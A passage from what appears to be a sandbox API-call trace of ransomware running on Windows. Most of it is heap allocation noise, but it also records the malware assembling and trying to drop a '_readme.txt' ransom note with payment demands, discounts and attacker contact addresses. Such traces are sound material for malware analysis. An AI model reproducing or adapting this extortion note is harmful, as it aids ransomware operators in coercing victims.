dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.168] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.168] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.168] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.168] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.168] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.168] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.168] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.168] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.168] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0266.168] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.168] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.168] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.168] PathFindFileNameW (pszPath="") returned="" [0266.169] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.169] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.169] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.169] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.169] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.169] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.169] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.169] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.169] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0266.169] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.170] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.170] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0266.171] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.171] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.171] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.171] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.171] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.171] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.171] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.171] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.171] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.171] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.172] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.172] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.172] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.172] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.172] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.172] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.172] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.172] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.172] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.172] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.172] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.172] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.172] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.172] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.172] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.172] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.172] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.172] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.172] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.172] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.174] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.174] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.174] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.174] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.174] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.174] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.174] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.174] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.174] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.174] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.174] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.174] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.174] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.174] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.174] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.174] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.174] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.174] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.174] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.174] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.174] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.175] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.176] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.177] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.177] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.177] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.177] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.177] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.177] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.177] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: 